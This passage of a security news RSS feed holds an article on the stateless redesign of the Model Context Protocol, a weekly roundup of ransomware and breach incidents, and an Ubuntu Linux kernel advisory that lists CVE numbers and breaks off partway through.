<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats]]></title>
<description><![CDATA[This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incident...]]></description>
<link>https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="831" height="491" src="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="The Cyber Express weekly roundup July 2026" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w" sizes="(max-width: 831px) 100vw, 831px" title="The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats 1"></p><span data-contrast="auto">This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The latest developments underline the need for stronger security practices, including improved identity protection, faster <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="29121">incident response</a>, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29120">data</a> theft, affecting operations, customer trust, and critical services.</span><span data-ccp-props="{}"> </span>
<h2 aria-level="2"><b><span data-contrast="none">The Cyber Express Weekly Roundup</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="nofollow noopener">Cyble Research and Intelligence Labs (CRIL)</a>. The report identified <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29122">ransomware</a> groups Qilin and Akira as among the most active threat actors during the period. </span><a href="https://thecyberexpress.com/us-ransomware-attacks-in-h1-2026/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Dubai Police Warns Against Online Visa Fraud Schemes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. </span><a href="https://thecyberexpress.com/dubai-police-fraudulent-visa-ads/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Craneware Data Breach Exposes Employee and Customer Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. </span><a href="https://thecyberexpress.com/craneware-data-breach/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b><span data-contrast="none"> </span></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Targets Illegal FIFA World Cup Streaming Networks</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. </span><a href="https://thecyberexpress.com/illegal-world-cup-streaming-domains-seized/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Chick-fil-A Customer Accounts Targeted in Credential Attack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. </span><a href="https://thecyberexpress.com/chick-fil-a-data-security-incident/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">South Korea Diplomatic System Breach Lasted Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. </span><a href="https://thecyberexpress.com/national-diplomatic-academy-data-breach-korea/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more..</span></b></a><b><span data-contrast="auto">.</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">Weekly Cybersecurity Takeaway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<span data-contrast="auto">The week’s incidents demonstrate how <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29124">cyber</a> threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29123">social engineering</a> tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
